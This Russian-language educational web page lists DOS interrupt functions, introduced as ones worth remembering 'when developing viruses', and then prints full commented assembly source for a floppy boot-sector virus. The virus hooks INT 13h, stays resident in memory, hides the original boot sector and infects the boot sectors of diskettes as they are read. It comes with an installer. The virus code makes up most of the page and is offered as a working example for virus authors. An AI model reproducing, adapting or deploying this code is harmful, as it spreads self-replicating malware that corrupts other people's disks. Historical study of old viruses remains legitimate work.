Мегаобучалка Главная | О нас | Обратная связь


Список наиболее часто используемых функций DOS. (ассемблер пример)



2019-07-03 267 Обсуждений (0)
Список наиболее часто используемых функций DOS. (ассемблер пример) 0.00 из 5.00 0 оценок




[AK] Вот список функций, которые важно помнить при разработке вирусов:

Установить адрес DTA.

~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 1Ah

ds:dx = адрес

выход:

нет

 

Получить адрес DTA.

~~~~~~~~~~~~~~~~~~~

вход:

ah = 2Fh

выход:

es:bx = текущий адрес

 

Create - Создать файл.

~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Ch

cx = атрибуты файла (таб 1)

ds:dx = путь и имя файла в формате asciz

выход:

if CF=0 then

ax = дескриптор файла

else

ax = код ошибки (3,4,5) (таб 2)

 

Open - Открыть существующий файл

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Dh

al = режим доступа (таб 2)

cx = атрибуты

ds:dx = имя

выход:

if CF=0 then

ax = дескриптор файла

else

ax = код ошибки (1,2,3,4,5,0C)

 

Close - Закрыть файл

~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Eh

bx = дескриптор

ds:dx = имя

выход:

if CF=0 then

ax =

else

ax = код ошибки (6)

 

Read - Чтение из файла

~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Fh

bx = дескриптор

cx = число байт

ds:dx = буфер для чтения

выход:

if CF=0 then

ax = число прочитанных байт

Это значение может быть меньше CX.

Например потому, что превысили длину файла.

else

ax = код ошибки (5,6)

Write - Записать в файл

~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 40h

bx = дескриптор

cx = число байт

ds:dx = данные для записи

выход:

if CF=0 then

ax = число записанных байт

else

ax = код ошибки (5,6)

 

Unlink - Удалить файл

~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 41h

cx = атрибуты

ds:dx = имя

выход:

if CF=0 then

ax =

else

ax = код ошибки (2,3,5)

 

LSeek - Установить указатель в файле

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 42h

al = точка отсчета указателя:

0 - от начала файла

1 - от текущего положения

2 - от конца

bx = дескриптор

cx:dx = смещение (cx=старшие 16 бит, dx=младшие)

выход:

if CF=0 then

dx:ax = новое положение указателя относительно начала

else

ax = код ошибки (1,6)

 

Получить атрибуты файла

~~~~~~~~~~~~~~~~~~~~~~~

вход:

ax = 4300h

ds:dx = имя

выход:

if CF=0 then

cx = атрибуты

else

ax = код ошибки (1,2,3,5)

 

Chmod - Установить атрибуты файла

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ax = 4301h

cx = новые атрибуты

ds:dx = имя

выход:

if CF=0 then

ax =

else

ax = код ошибки (1,2,3,5)

Выделить блок памяти

~~~~~~~~~~~~~~~~~~~~

вход:

ah = 48h

bx = размер блока в параграфах

выход:

if CF=0 then

ax = сегмент блока

else

ax = код ошибки (7,8)

bx = размер наибольшего доступного блока

Освободить память

~~~~~~~~~~~~~~~~~

вход:

ah = 49h

es = сегмент блока

выход:

if CF=0 then

ax =

else

ax = код ошибки (7,9)

Изменить размер блока памяти

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 4Ah

bx = новый размер

es = сегмент

выход:

if CF=0 then

ax =

else

ax = код ошибки (7,8,9)

bx = размер наибольшего доступного блока

Exec - загрузить или выполнить программу.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 4Bh

al = тип загрузки:

0 - загрузить и выполнить

1 - загрузить и не выполнять

3 - загрузить оверлей

4 - загрузить и выполнить в фоновом режиме (dos 4.0)

es:bx = блок параметров (таб 3)

ds:dx = имя программы

выход:

if CF=0 then

bx,dx разрушены

else

ax = код ошибки (1,2,5,8,0A,0B)

Пример элементарного BOOT-вируса:

.286

.model tiny

.code

org 00h

start: jmp install

;jmp fkс

table: ; А вот тут будет таблица диска

org 4ch ; много места ей, но...

fkс: nop ;

xor di,di ; обнулим их

mov ds,di ; DS=0

cli ;

mov ss,di ; SS=0

mov si,7c00h ; SI - адрес в памяти, там мы

; начинаемся.

mov bx,si ; запомним это... еще пригодится

mov sp,si

sti

dec word ptr ds:[0413h] ; стока памяти дос

mov ax,ds:[0413h] ; в АХ размер дос-памяти в килобайтах

mov cl,06 ; чтобы получить сегмент надо число

shl ax,cl ; килобайт умножить на 40h

; немного арифметики - сегмент считают

; от начала памяти в параграфах, пара-

; граф=10h байт, 40h параграфов=400h

; байт=1кБт. дальше все ясно.

mov es,ax ; ES=адрес нового сегмента

push ax ; в стек его - будем делать переход

mov ax,offset inst_int ; на это вот смещение

push ax ; и его в стек тоже

mov cx,200h ; но сперва надо перенести свое тело

cld ; в этот вот сегмент

rep movsb ; переносим

retf ; переход через стек

inst_int: ; здесь мы уже в новом сегменте

mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original

mov ds:[0e0h*4],ax ;

mov ax,ds:[13h*4+2] ;

mov ds:[0e0h*4+2],ax ;

mov word ptr ds:[13h*4],offset int13 ; INT 13h=наш обработчик

mov ds:[13h*4+2],cs ;

xor cx,cx

push cx ; снова подготовка к переходу

push bx ; через стек в точку 0000:7C00h

mov es,cx

mov ax,0201h ; читать нормальный бут-сектор

mov cx,cs:floppy_sect ; вот отсюда его и читать

mov dh,cs:floppy_head ;

xor dl,dl ; с диска А: естественно

int 0e0h ; вызов оригинального INT 13h

run_boot:

retf ; запустить бут.

;------ *** Hаш обработчик INT 13h *** -------

int13: mov cs:shit,ax ; сохраним ax

int 0e0h ; выполним операцию

jnc int_continue ; если была ошибка уходим

jmp int_exit

int_continue:

pushf ; флаги запомнить надо!

cmp byte ptr cs:[shit+1],2 ; reading sectors?

jnz g1

cmp cx,0001

jne g1

cmp dh,0 ; читаем бут

jne g1

cmp dl,01 ; не с винта надеюсь?

jna fkс_boot

g1: jmp get_out

;------------- Обработчик чтения бута с дискеты ---------------

fkс_boot:

pusha

push ds es

push es

pop ds

lea di,fkс ; сравним то что у нас по смещению fkс

mov ax,cs:[di] ; с тем что мы прочитали по тому же смещению

mov si,bx ; Так мы проверяем заражен ли

add si,offset fkс ; уже нами бут-сектор

cmp ax,[si] ;

jz exit_boot_work ; если нет то уйдем отсюда

cmp dl,1 ; на всякий пожарный :) В принципе можете

ja exit_boot_work ; эту проверку выкинуть - она уже была

find_place: ; поиск места куда прятать старый бут-сектор

mov ax,[bx+16h] ; ax=число секторов в FAT

mul byte ptr [bx+10h] ; умножим его на число FAT

add ax,[bx+0eh] ; прибавим число резервных секторов для FAT--

push dx ; запомним dx - там номер диска и сторона |

mov cl,4 ; |

mov dx,[bx+11h] ; dx=число элементов корневого каталога |

; 1 элемент занимает 32 байта |

shr dx,cl ; поделим его на 16 - получим число сектров |

; корня, вроде бы так... |

add ax,dx ; прибавим к AX------------------------------

dec ax ; уменьшим на 1

; в AX порядковый номер последнего сектора

; ROOT'a... ???

mov cx,[bx+18h] ; cx=число секторов на дорожке

push cx ; запомним его

shl cx,1 ; умножим на 2

xor dx,dx ; dx=0

div cx ; поделим DX:AX на CX

pop cx ; вытащим CX из стека - там число секторов на

; дорожке было

push ax ; запомним частное от предыдущего деления

mov ax,dx ; в AX занесем остаток от деления

xor dx,dx ; DX=0

div cx ; поделим еще раз

mov dh,al ; DH=номер головки

mov cl,dl ; CL=номер сектора

pop ax ; выкинем AX

mov ch,al ; CH=номер дорожки

inc cl ; прибавим к нему 1

pop ax ; AX=бывшее DX - там была сторона и номер

; дисковода

mov dl,al ; номер в DL

mov cs:floppy_sect,cx ; то что получилось запомним

mov cs:floppy_head,dh

;---------all found dh,cx rules---------

mov ax,0301h ; записать старый бут куда надо

int 0e0h

jc exit_boot_work ; если была ошибка - прекратить работу

; чтобы не убить диск совсем

; можно этого и не делать, едва ли что

; случится - вероятность того что вычисленный

; нами сектор BAD очень низка, но...

push cs

pop es

lea di,table ; скопируем из бута в свое тело таблицу

mov si,bx ; параметров диска

add si,offset table ;

mov cx,4ch-3 ;

rep movsb ;

push cs

pop es

mov ax,0301h ; запишемся в бут-сектор

xor bx,bx

mov cx,0001

xor dh,dh

int 0e0h

exit_boot_work:

pop es ds ; восстановим все что убили

popa

get_out:

popf ; и флаги обязательно

int_exit:

retf 2 ; выход из прерывания

;-------------data block--------------

floppy_sect dw 2f08h

floppy_head db 01

shit dw 0

org 510

sign dw 0aa55h ; чтобы не выдавали сообщения NDD и прочие...

; это просто метка системного сектора

; ----- Инсталлятор вируса в бут дискеты -----

install:

mov cs:[0000],4aebh

mov byte ptr cs:[0002],090h ; нужная команда

push ds

xor ax,ax

mov ds,ax

mov ax,ds:[13h*4]

mov ds:[0e0h*4],ax

mov ax,ds:[13h*4+2]

mov ds:[0e0h*4+2],ax

mov word ptr ds:[13h*4],offset int13

mov ds:[13h*4+2],cs

pop ds

push cs

pop es

mov ax,0201h

mov cx,0001

mov dx,0000

mov bx,offset our_buffer

int 13h

xor ax,ax

mov ds,ax

mov ax,ds:[0e0h*4]

mov ds:[13h*4],ax

mov ax,ds:[0e0h*4+2]

mov ds:[13h*4+2],ax

mov ax,4c00h

int 21h

our_buffer:

end start

Существуют очень много вирусов, под разные операционные системы, имеющие различные цели, написанные на разных языках высокого и низкого уровней.



2019-07-03 267 Обсуждений (0)
Список наиболее часто используемых функций DOS. (ассемблер пример) 0.00 из 5.00 0 оценок









Обсуждение в статье: Список наиболее часто используемых функций DOS. (ассемблер пример)

Обсуждений еще не было, будьте первым... ↓↓↓

Отправить сообщение

Популярное:
Как выбрать специалиста по управлению гостиницей: Понятно, что управление гостиницей невозможно без специальных знаний. Соответственно, важна квалификация...
Как построить свою речь (словесное оформление): При подготовке публичного выступления перед оратором возникает вопрос, как лучше словесно оформить свою...
Почему человек чувствует себя несчастным?: Для начала определим, что такое несчастье. Несчастьем мы будем считать психологическое состояние...



©2015-2024 megaobuchalka.ru Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав. (267)

Почему 1285321 студент выбрали МегаОбучалку...

Система поиска информации

Мобильная версия сайта

Удобная навигация

Нет шокирующей рекламы



(0.009 сек.)